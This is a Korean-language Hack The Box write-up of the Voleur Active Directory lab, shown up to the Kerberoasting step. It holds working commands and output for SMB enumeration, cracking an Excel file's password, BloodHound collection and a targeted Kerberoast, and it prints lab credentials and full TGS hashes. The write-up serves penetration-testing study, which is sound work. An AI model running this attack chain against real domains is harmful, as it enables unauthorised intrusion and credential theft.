▌ TRANSMISSION · [HTB]

[MEDIUM_WINDOWS] Voleur write-up


alt text

이번 문제는 실제 Windows Pentesting 환경과 비슷하게 Credential 이 주어진 상태로 시작된다.

ID : ryan.naylor
PW : HollowOct31Nyt

Windows AD 문제를 푸는 건 처음이기도 하고, AD에 대한 지식이 아예 없어서, write up을 참고하며 풀었고, 이 과정에서 모르는 개념들을 기록하여 추가로 공부해보기로 했다. 정찰 및 정보수집, 공격 준비, 침투, 횡적이동, 권한상승까지의 전반적인 흐름을 이해하고 과정을 습득하는 것을 목표로 해당 머신에 임했다. (+Guided Mode)

Task1

What is the fully qualified domain name (FQDN) for the host in use by Voleur?
(Voleur에서 사용 중인 호스트의 전체 도메인 이름(FQDN)은 무엇인가요?)

우선 머신의 IP로 nmap을 이용해 포트/서비스 스캐닝을 진행했다.

  ~ sudo nmap 10.129.232.130 -sC -sV --open --min-rate 2000 
[sudo] password for kali: 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 15:41 +0900
Nmap scan report for 10.129.232.130
Host is up (0.40s latency).
Not shown: 987 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-10 14:41:37Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2026-05-10T14:42:12
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: 7h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.16 seconds

389, 3268 포트에서 ldap 서비스가 동작하고 있었고, 여기서 AD 도메인을 식별할 수 있었다.

  • 389 : LDAP
  • 3268 : Global Catalog LDAP - forest 전체에서 검색할 때 사용

이외에도

  • 53 : DNS
  • 88 : Kerveros
  • 445 : SMB
  • 464 : Kerveros password change
  • 5985 : WinRM 등 열린 포트들이 있었는데,
    해당 포트/서비스들은 Active Directory Domain Controller에서 흔히 사용되는 것들이라 타겟 머신이 AD DC일 가능성이 매우 높다.
포트서비스DC가 이걸 여는 이유?
53/tcp,udpDNS클라이언트가 KDC, GC, LDAP 서버를 SRV 레코드로 찾기 위해
88/tcp,udpKerberos KDCAS-REQ/TGS-REQ 처리 — 도메인 인증의 핵심
445/tcpSMBSYSVOL/NETLOGON 공유, GPO 배포, MS-RPC 통신
464/tcp,udpkpasswd사용자 비밀번호 변경 프로토콜 (RFC 3244)
5985/tcpWinRM (HTTP)원격 PowerShell 관리

2222 포트에서는 OpenSSH가 동작하고 있는 것도 알 수 있다.

우선 도메인 voleur.htb 은 알아냈고, 5985(WinR) 스캔 결과에서 Host 이름이 DC 인 것도 알아냈다.

결론

  • 해당 머신은 도메인 컨트롤 역할을 수행하는 것으로 확인되었다.
  • 해당 머신의 FQDN은 DC.voleur.htb 이다.

Task2

What is the name of the Excel file discovered inside one of the folders in the exposed shares?
(노출된 공유 폴더들 중 하나의 폴더 안에서 발견된 Excel 파일의 이름은 무엇인가요?)

노출된 공유 폴더를 물어보고 있으니, SMB에 접근해야할 것 같다. 공유 리스트를 확인하기 위해 smbclient를 사용해봤다.

  ~ smbclient -L //10.129.32.236 -U ryan.naylor --password='HollowOct31Nyt'
session setup failed: NT_STATUS_NOT_SUPPORTED

session setup failed: NT_STATUS_NOT_SUPPORTED 이라는 메세지가 나왔다. 이는 타겟 서버에서 NTLM 인증이 비활성화되어있기 때문에 발행하는 메세지이다.

(smbclient는 명시적인 옵션이 없으면 기본적으로 NTLM 프로토콜을 사용하여 세션 설정을 시도하게 되는데, 서버 정책상 NTLM을 거부하여 접근이 차단된 상태)

write up 에서는 nxc를 사용했길래 이걸 써봤다.

  • smbclient는 인증이 실패하면 그냥 끝나버리는데, nxc는 실패해도 정보를 출력해준다.

SMB 로그인이 성공하는지 보기 전에, 호스트명, 도메인, SMB 설정을 빠르게 확인하기 위해서 사용한 것 같다.

  ~ nxc smb 10.129.32.236 -u ryan.naylor -p 'HollowOct31Nyt'   
SMB         10.129.32.236   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.129.32.236   445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED 

결과를 보면, NTLM 이 False. 즉, NTLM 인증을 사용하지 않는다는 것을 바로 알 수 있었다.

호스트 이름(DC), 도메인(voleur.htb)까지 출력이 되니 참 좋다…

NTLM 인증을 안쓰니, Kerberos 인증으로 가야될 것 같다.

Kerberos

그리고 NetExec의 장점 하나가 더있는데, 바로 Kerberos 인증에 사용되는 krb5.conf 파일 템플릿을 자동으로 생성해주기도 한다는 것이다.

  • --generate-krb5-file <filename>
  ~ nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -d voleur.htb -k --generate-krb5-file voleur.krb5
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] krb5 conf saved to: voleur.krb5
SMB         DC.voleur.htb   445    DC               [+] Run the following command to use the conf file: export KRB5_CONFIG=voleur.krb5
SMB         DC.voleur.htb   445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt KRB_AP_ERR_SKEW
  • 생성되는 것들
    • krb5.conf: voleur.krb5
      • 이거는 자격증명은 아니고 커버로스 설정파일이다.
      • NetExec가 인증 과정에서 알아낸 도메인 정보를 텍스트 파일로 출력하는 것
    • .ccache : TGT
      • 자격증명 티켓
      • 일회성으로, 메모리에 남는다. (계속 쓰고 싶으면 impacket-getTGT 사용)
옵션역할
nxc smbNetExec의 SMB 프로토콜 모듈을 실행 (TCP 445)
DC.voleur.htb타겟 호스트의 FQDN. Kerberos에서 SPN은 호스트명 기반(cifs/DC.voleur.htb)이므로 IP 주소로는 SPN 매칭이 실패함
-u 'ryan.naylor'client principal의 primary name
-p 'HollowOct31Nyt'비밀번호 (long-term key 파생용)
-d voleur.htbrealm 명시 (VOLEUR.HTB)
-kNTLM 대신 Kerberos 인증 강제. 이 플래그를 사용하면 내부적으로 초기 인증 단계가 Kerberos로 처리됨
--generate-krb5-file voleur.krb5유효한 krb5.conf 파일을 생성하여 다른 도구에서 Kerberos 인증을 활용할 수 있게 해주는 SMB 플래그

그리고 Kerberos는 IP 주소보다 호스트이름/FQDN을 더 중요하게 본다고 한다.

그래서 내 Kali 쪽에서 DC.voleur.htb를 IP로 못 바꾸면 Kerveros 인증이 꼬인다고 한다.

바로 /etc/hosts에 추가해줬다.

  ~ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.129.32.236 DC.voleur.htb voleur.htb

(정리 : Kerberos와 SMB가 사용할 도메인/호스트 이름이 올바른 IP로 해석되게 만드는 행위)

krb5.conf (Kerberos 클라이언트 설정 파일)
Kerberos 인증을 하려면 클라이언트가 최소한 이런 정보를 알아야한다.

  • Realm이 무엇인가? (Kerberos 인증 영역. 보통 AD 도메인을 대문자로 쓴 것)
  • KDC가 어디에 있는가? (Kerberos 티켓을 발급해주는 서버)
  • voleur.htb 도메인은 어떤 Kerberos realm에 매핑되는가?

해당 머신에서는?

AD Domain: voleur.htb
Kerberos Realm: VOLEUR.HTB
KDC: DC.voleur.htb

krb5.conf를 생성하면 대략 이런 정보가 들어간다.

[libdefaults]
    default_realm = VOLEUR.HTB

[realms]
    VOLEUR.HTB = {
        kdc = DC.voleur.htb
    }

[domain_realm]
    .voleur.htb = VOLEUR.HTB
    voleur.htb = VOLEUR.HTB

수동으로 작성해도 무관하나, nxc 같은 툴로 쉽게 작성이 가능하다.

근데 마지막 오류를 보면

SMB         DC.voleur.htb   445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt KRB_AP_ERR_SKEW

인증이 거부된 것을 볼 수 있다.

KRB_AP_ERR_SKEW

  • 시간 동기화 오류(Time Skew Error)

Kerberos는 시간 차이에 매우 민감하다. 클라이언트와 도메인 컨트롤러의 시간이 많이 다르면 인증을 거부한다.

  • 티켓에는 시간이 들어간다 : 유효시간
  • 시간이 DC 시간과 많이 다르면 인증을 거부한다.

시간 동기화

그래서 ntpdate로 DC와 시간을 동기화해준다.

  • NTP (Network Time Protocol)
sudo ntpdate -u DC.voleur.htb

또는

sudo ntpdate <target machine IP>
  • -u : unprivileged port를 사용하라는 옵션

원래 NTP는 보통 UDP 123번 포트를 사용한다. 그런데 환경에 따라 기본 NTP 포트 방식이 방화벽이나 네트워크 정책 때문에 막힐 수 있다.
그래서 -u 옵션을 쓰면 출발지 포트를 임시 포트로 바꿔서 요청한다.

정리 : 방화벽/네트워크 문제를 피하기 위해 좀 더 유연한 방식으로 NTP 요청을 보냄

(이 시점에 머신을 재실행해서 IP가 달라졌다. - 10.129.232.130)

암튼 시간 동기화를 해준 뒤 인증을 이어서 진행해보기로했다.

sudo apt update
sudo apt install -y ntpsec-ntpdate

설치해주고,

  ~ sudo ntpdate -u DC.voleur.htb
2026-05-12 04:29:56.521535 (+0900) +28799.696440 +/- 0.234902 DC.voleur.htb 10.129.232.130 s1 no-leap
CLOCK: time stepped by 28799.696440

동기화 해준 뒤 다시 nxc 명령으로 공유목록을 볼 수 있는지 확인해보자.

  ~ nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k --shares
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance                         
SMB         DC.voleur.htb   445    DC               HR                              
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ            
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share 
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share 

인증에 성공해서 SMB 공유목록들이 보이는 것을 볼 수 있다!!

$ 가 붙은건 못보니까 Finance, HR, IT 정도? 볼 가치가 있어보인다.

IT가 가장 유력한 후보라 요녀석을 봤다.

nxc에 --spider 라는 옵션이 있는데, 이걸 이용하면 폴더와 파일을훑어준다고 한다.
(재귀적으로 훑음!)

근데 훑.기.만 한다.

그래서 출력 조건을 줘야하는데, writeup에서는 --regex 옵션을 같이 사용했다. 말 그대로 정규표현식을 이용하도록 하는 것이다.

. 은 아무 문자 1개를 뜻하기에 --regex . 이라고 하면, 그냥 이름에 문자가 하나라도 있는 모든 파일/폴더를 출력하라는 의미이기 때문에, 그냥 다 보여달라는 조건이 된다.

  ~ nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k --shares --spider IT --regex . 
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         DC.voleur.htb   445    DC               [*] Enumerated shares
SMB         DC.voleur.htb   445    DC               Share           Permissions     Remark
SMB         DC.voleur.htb   445    DC               -----           -----------     ------
SMB         DC.voleur.htb   445    DC               ADMIN$                          Remote Admin
SMB         DC.voleur.htb   445    DC               C$                              Default share
SMB         DC.voleur.htb   445    DC               Finance                         
SMB         DC.voleur.htb   445    DC               HR                              
SMB         DC.voleur.htb   445    DC               IPC$            READ            Remote IPC
SMB         DC.voleur.htb   445    DC               IT              READ            
SMB         DC.voleur.htb   445    DC               NETLOGON        READ            Logon server share 
SMB         DC.voleur.htb   445    DC               SYSVOL          READ            Logon server share 
SMB         DC.voleur.htb   445    DC               [*] Spidering .
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support/. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support/.. [dir]
SMB         DC.voleur.htb   445    DC               //DC.voleur.htb/IT/First-Line Support/Access_Review.xlsx [lastm:'2025-05-30 07:23' size:16896]

오 마지막에 Access_Review.xlsx이라는 엑셀 문서 하나가 보인다!!

Task3

What is the password required to unlock Access_Review.xslx?
(Access_Review.xslx 파일의 잠금을 해제하는 데 필요한 비밀번호는 무엇인가요?)

이걸 nxc의 --get-file 옵션으로 다운받아보자.

... --get-file <path\\file> <output_file>

(Windows의 경로 표기법에 맞게 역슬래쉬 2개로 표현)

  voleur nxc smb DC.voleur.htb -u ryan.naylor -p 'HollowOct31Nyt' -d voleur.htb -k --share IT --get-file 'First-Line Support\\Access_Review.xlsx' Access_Review.xlsx 
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         DC.voleur.htb   445    DC               [*] Copying "First-Line Support\\Access_Review.xlsx" to "Access_Review.xlsx"
SMB         DC.voleur.htb   445    DC               [+] File "First-Line Support\\Access_Review.xlsx" was downloaded to "Access_Review.xlsx"
  • --share : 공유 지정 (shares 아님 주의!!!!!)

Excel

자 이제 열어보자!

alt text

엄…

write-up에서는 office2john을 사용해서 Excel 파일에서 비밀번호 해시를 추출할 수 있다고 한다. 이걸 다시 john the reaper에 넣어 크랙하면 되는 것 같다.

  voleur office2john Access_Review.xlsx > hash

해시화 해서 hash라는 이름으로 저장해주고,

  voleur sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt 
[sudo] password for kali: 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1        (Access_Review.xlsx)     
1g 0:00:00:04 DONE (2026-05-12 05:10) 0.2398g/s 191.8p/s 191.8c/s 191.8C/s football1..martha
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
  • john <hash file> --wordlist=<path>

존더리퍼를 돌려보면, football1 이라는 패스워드를 얻을 수 있다.

Task4

Which user has WriteSPN rights over the SVC_WINRM account, as reported by BloodHound?
(BloodHound 결과에 따르면, 어떤 사용자가 SVC_WINRM 계정에 대한 WriteSPN 권한을 가지고 있나요?)

이렇게 얻어낸 패스워드를 엑셀에 사용해보면,

alt text

요렇게 열린다!

User들도 보이고, Service Accounts도 보인다.
여기서 svc_ldapsvc_iis. LDAP, IIS 서비스의 패스워드도 확인이 가능했다!

nxc를 이용해서 얻은 계정들이 실제로 로그인 가능한 유효한 자격 증명(Valid Credentials)인지 검증해보자.

  voleur nxc smb DC.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k            
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn 
  voleur nxc smb DC.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k         
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8

둘다 인증 성공 표시가 뜬 것을 보니, 해당 계정이 활성화 되어있음을 알 수 있다.

Attack Path 찾기

  • 도메인 데이터 : Active Directory 안에 저장된 객체와 관계 정보를 말함
종류예시
사용자ryan.naylor, svc_ldap, administrator
그룹Domain Admins, IT Support, Remote Management Users
컴퓨터DC, WEB01, SQL01
그룹 멤버십ryan.naylor가 어떤 그룹에 속해 있는지
세션 정보어느 사용자가 어느 컴퓨터에 로그인 중인지
로컬 관리자 관계어떤 사용자가 어떤 컴퓨터의 로컬 관리자 권한을 갖는지
ACL/권한 관계누가 어떤 AD 객체를 수정할 수 있는지
도메인 트러스트다른 도메인/포리스트와의 신뢰 관계
GPO/OU 관계정책이 어느 조직 단위에 적용되는지

BloodHound

  • BloodHound : AD 정보를 열거하고, 취약한 구성과 공격 경로를 식별하기 위해 사용되며, AD 객체 간 관계를 시각적으로 보여주는 툴이다.
이름역할
BloodHoundAD 관계를 그래프로 보여주고 공격 경로를 분석하는 플랫폼/GUI
SharpHoundBloodHound 공식 데이터 수집기, C# 기반
BloodHound.py / bloodhound-pythonLinux/Kali에서 쓰는 Python 기반 수집기
bloodhound-ce-pythonBloodHound CE용 Python 기반 ingestor

예를 들면 AD 안의 관계를 이렇게 본다.

ryan.naylor
  └─ MemberOf → IT Support
        └─ GenericWrite → svc_ldap
              └─ CanPSRemote → DC
                    └─ AdminTo → Domain Controller

이런 식으로 사람 눈으로는 찾기 어려운 관계를 연결해서 이 계정에서 시작하면 어떤 경로로 Domain Admin 또는 중요 시스템까지 갈 수 있는가? 를 보여준다.

write-up에서는 bloodhound-python 을 사용했는데, 나도 요걸 한 번 써보기로 했다.

사용한 명령은 다음과 같다.

bloodhound-python -u 'ryan.naylor' -d 'voleur.htb' -p 'HollowOct31Nyt' -c all --zip -ns 10.10.11.76 --dns-tcp -k
  • bloodhound-python
    • BloodHound에 넣을 데이터를 수집하는 Python 기반 ingestor이고, Impacket 기반의 Python ingestor이다.
    • 최소한 도메인 자격 증명이 필요하며, 사용자면/비밀번호, NT 해시, AES키, Kerberos TGT 등을 사용할 수 있다.
  • -u : username (인증에 사용할 도메인 사용자)
    • 일반 사용자도 생각보다 많은 정보를 LDAP으로 읽을 수 있다.
  • -d : domain (대상 AD 도메인 지정)
  • -p : password (해당 사용자의 비밀번호)
  • -c all : collection method all (가능한 BloodHound 수집 항목을 전부 수집)
  • --zip : zip output (결과 JSON들을 zip 파일로 묶어서 저장)
    • BloodHound.py는 보통 결과를 여러 JSON 파일로 만든다. 여기서 zip을 쓰면 BloodHound GUI에 바로 업로드하기 편하게 하나의 zip 파일로 묶어준다.
    • 업로드용
  • -ns <DC IP> : nameserver (DNS 질의를 보낼 네임서버 지정)
    • DNS 질의를 어디로 보낼지 지정하는 옵션
    • AD 환경에서 DNS는 매우 중요하다. BloodHound.py는 DC, LDAP server, Kerberos server 등을 찾기 위해 DNS 질의를 한다.
  • --dns-tcp : DNS over TCP (DNS 질의를 UDP가 아니라 TCP로 보냄)
    • DNS는 보통 UDP 53번을 사용하지만, 환경에 따라 UDP DNS가 불안정하거나 막혀 있을 수 있다. HTB/VPN 환경에서는 DNS 질의가 UDP로 잘 안 될 때가 있어서 해당 옵션을 붙이는 경우가 많다고 한다.
  • -k : Kerberos 인증 사용

즉, 정리하자면, 검증된 도메인 계정으로 AD에 인증한 뒤, DC/DNS 서버를 통해 필요한 AD 서비스 위치를 찾고, LDAP/SMB/RPC 등을 사용해 도메인 정보를 수집하여 BloodHound에 넣을 데이터를 만드는 행위이다!

암튼… 수행해보면

  voleur bloodhound-python -u 'ryan.naylor' -d 'voleur.htb' -p 'HollowOct31Nyt' -c all --zip -ns 10.129.232.130 --dns-tcp -k
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
INFO: Done in 01M 10S
INFO: Compressing output into 20260512084023_bloodhound.zip

뭔가 많이 찾았다!!

생성된 zip파일을 bloodhound에 올려서 확인해보자.
(이 시점에 머신을 껐다가 켜서 머신 IP가 또 바뀌었다. 10.129.34.23)

sudo apt update && sudo apt install -y bloodhound neo4j
sudo bloodhound-setup

neo4j에 접속이 될텐데, 기본 계정인 neo4j:neo4j 로 로그인하고, 패스워드를 변경해준다.
(변경하라는 안내가 나온다.)

그리고 /etc/bhapi/bhapi.json 파일에 들어가 바꾼 비밀번호를 작성해준다.
(kali라고 설정하였음)

alt text

그리고 다시 bloodhound를 켜준다.

sudo bloodhound

alt text

기본계정인 admin:admin 으로 로그인.

alt text

그리고 아까 정보수집해서 묶어뒀던 zip 파일을 업로드 해준다.

좌측 메뉴에 Explore 탭에서 SEARCH 검색창에 svc_ldap을 입력하고 선택해준다.

노드를 선택하면, 우측에 여러 정보들이 보일텐데, 여기서 Outbound Object Control를 선택하자.

Outbound Object Control은 선택한 계정/그룹이 ‘다른 AD 객체들’에 대해 어떤 제어 권한을 가지고 있는지 보여주는 메뉴이다.

  • SVC_LDAP이 다른 사용자, 그룹, 컴퓨터, GPO 등에 대해 어떤 조작 권한을 갖고 있는가?

선택하게 되면,

alt text

요렇게 보인다.

Bloodhound 그래프를 보면, svc_ldap 사용자는 svc_winrm 사용자에 대해 WriteSPN 권한을 가지고 있다는 것을 알 수 있다.

WriteSPN

WinRM (Windows Remote Management)

  • 관리자가 네트워크를 통해 로컬 및 원격 Windows 컴퓨터와 상호 작용하고 관리할 수 있도록 하는 서비스
  • 이 녀석이 중요한 이유는, 복잡한 익스플로잇 없이 서버 CLI에 직접 연결(RCE)할 수 있는 진입점이 될 수 있기 때문이다!!

Task5

That is the svc_winrm account’s password recovered from cracking its TGS hash?
(svc_winrm 계정의 TGS 해시를 크랙하여 알아낸 비밀번호는 무엇입니까?)

  • Kerberos : 이거 꼭 보고 문제 풀 것…

일단 흐름은 svc_winrm의 SPN을 작성할 수 있는 svc_ldap의 계정을 소유하고 있으니, 이 계정의 자격증명으로 LDAP 바인딩 후, svc_winrm의 SPN에 임의의 SPN을 추가한다.

그리고 TGT를 발급받고, TGT로 SPN에 대해 TGS를 요청.

svc_winrm의 키로 암호화된 TGS를 획득 후, hashcat으로 오프라인 크래킹을 해볼 것이다!

근데 write-up을 보니 이 과정을 쉽게 해주는 툴이 있었다.

targetedKerberoast tools

TGT를 발급받고, 그걸 환경변수에 등록한 뒤 실행만 해주면된다.

내부적으로는?

  1. LDAP Binding : svc_ldap TGT로 LDAP에 Kerberos 인증
  2. 쓰기 가능한 객체 열거 (WriteSPN가 가능한 객체를 찾기 시작)
  3. 가짜 SPN 등록 및 TGS 발급
  4. SPN 제거 (흔적 정리까쥐)
  5. 결과 출력

우선 TGT를 발급 받자. (htb ip 또 바뀜 ㅠ 10.129.232.130)

  ~ impacket-getTGT voleur.htb/svc_ldap -dc-ip 10.129.232.130
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Saving ticket in svc_ldap.ccache

그리고 이 티켓을 환경변수로 등록해주자!

  • 환경변수로 등록해야 Kerberos 라이브러리(libkrb5)가 자동으로 이 TGT를 확인함
  voleur export KRB5CCNAME=./svc_ldap.ccache

이제 실행해보자!

  voleur python3 ~/tools/targetedKerberoast/targetedKerberoast.py -d voleur.htb --dc-host DC.voleur.htb -u svc_ldap@voleur.htb -k
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (lacey.miller)
$krb5tgs$23$*lacey.miller$VOLEUR.HTB$voleur.htb/lacey.miller*$1de853669c35a85cda3a7734e039f98d$81f88c3058d6e5b55f6ae73cf55e68a37b7baf8811c5ddadc60290d69de81da2bab6371ff74a8faa11815b2e17a7f3ef8eb835c6326cc93732c30b48dcbb3c1fa298e033371e0e13def2edba7950ef436fa05f5444e8c12c0e09d3d35e2d412c7b560e1ca6081624a7fb6333b14b1857e928af60dffdf28f702a636f6903a517616b6a8e9bcba41f9d3ac5d1e170dfdbd44985ee0bd24a0d4a6d0991291534a280708a743b6b828e45e4fd0d26390b5719882eb734c1b4592c6615b3e3b4acd050408b7fba8550c2831295429f58647eef5ed0fe6e3577d007952148497e65f167b60aaa95e199f3847cfd0332ba3921fec80501a8a39b8f6f4142f9c2c95a2822aa28f7155f498cff7856c5a42fd646a3c2a539b9b3fe83132fe94371282f961b59c6fb211a2929e401dc7637b99f99f0df9399a17984a2be8465cdae3f4969046698dc78db512cc940c078189204874999eaf2eae64f3b8e15669ddcca17ee03481440c812ae301e8c6d3895cf59fe64185f0cfcad3cdaf9e25dc90188c9885c55cc0b736e4982a9d67464c79b2bf38bf6c196464fb52a636d9b3a6707f7df434f3e98fa767bf0b0424eb95eaed80ac71632f123b28ae65a89f76a87c397a1195deb78d7ad5846bf86f443e52b25267172f5aa6f71bebddc19c171339081661baf4da60e31dee5e4af16f8e8e0fab5569d47f86ecae2e4138ef05233441a51cda177bc3c8582ae4eb67bcba1d2640ba1f5f663e51779049664d3b7433a4e5a7085458e3557dea62beaee23ee72e206c70263e498ea7ef89f3ba5565deb8c81bf613d886c0f584057df849e7fc65619100d36a7827c4918ab46710b2100c8e695bb187dcf35596c296f5b5c2c13ed347eb3435de96235ff0d9819992f76e2aeae0163dfc875b66bc633f832e25fb2f97ccc3bceb5ae319004e91cd3d7c0b6e58da5425c118efda10940c3d4167c106ee1c66f4025f607b578b42fc00be9a4acbf776eb6c0fcdcaf08fcba82910202264c5f284a366a79e06b0d1fbfba316e3c298f020a86482eccfd651a32c1f8a5673d95c0c1b365120f032efc82c3e1ba4b7024297a36f9b0194f560ff068957b65af553e75e2581966475ccc7eccfdcb233aa73729124042dc96763fbd4b4a7f6f46f331fce6e8ac9f9bccb72309caa31ab034c5fea1c2f630db89a5930e26c6d3a77a4c1ce74111285d4c4af8edc4e2f3b4f388555846713c68877240b2b37e4437f8f3d4a1e2b00adb4f46c482b1f0510e2ecf1450f7b560cc3612f9a591d60af10a1538b8ef8755b1533d5b4b3ece28936327253c737a579cbb86e8659e38b7a34019797a1700addb0798c989e03098b4a6dd4cb4ce814c81a7d7c9fdca839cb9c7f8a8aa83fe123b1107561f750648a92af64d6fd98265291dc46eb590b23af68d2d61a2bafc625aaa1f86df6f64156a3e4b643fd57383d374fc367d31b2c2b5c2bd
[+] Printing hash for (svc_winrm)
$krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb/svc_winrm*$3486d2f804238dcae7f5c8a3cb2dbbb4$b419fccbf4560b6feccc25fcc80fa52a78c2410d1cfc16817553ec565a1779b3ea3087cf17901911c4957b7a3ae3a50388a3efbfdf55554cbdf4ebad8140528454c804fff61461f565f477e46c5d98b0d8168e99efd8ae40d178b3f2306f1c4f35c25dd8c5d104c6da6bb6d5786cd27f1a71a2f65671e4891e175e23ee932a2c37bdae9517680b51a9cb2058ed00c338e35f075ea71476e64cf6c8a43ab10352c3ce642631ddfe001e59a55ee21173579c7cba8109ca80f65ce431f5721818308622e0292bd1d4cbdba7a77263345fdd1d7870db6b444bd6f0beb168032aef1a39d5c1d3c1546027f91f597c67dd81e73dfe4dcee286353f7ca0900f6b08b4e35b8627cd692764325653c47e9c317e1bc1f21687766f9624d840ec84b39923b293d88bbdfe145a6dbee241953cdf6663c68d5bd2c9251d29cf05a2ad7cde94138f09cf5b801640cf1240ec8b3fe853dadb24c23ffaf80ede723fd5c2e317786497fa62f153fecd08a32c57f112a65ec64ec2b296820eacdf473316a551bc27a1ea5e90a3e09afca1293daecefbb48959bcf429da9c05ad4964583756130489690fb41274f178451ad1892002864e6bff416e951881bdbbe19d6a27643c17bdf857c71471b10dd878b0f5d0eb93ea1c7e0b35359dc68ecb51c5eab65605e6e9c516f442f13c226beeb99b31f0566003ddbe43d6d52fe4842104ec0d93cfbd8cf52f889cf2fc6bff01c5661ccf8f9d01ecd77f03097236e7a0b526bccc3ca6f19113b1a80f1a0a013a34689655534a17efbedc644ab4c3927c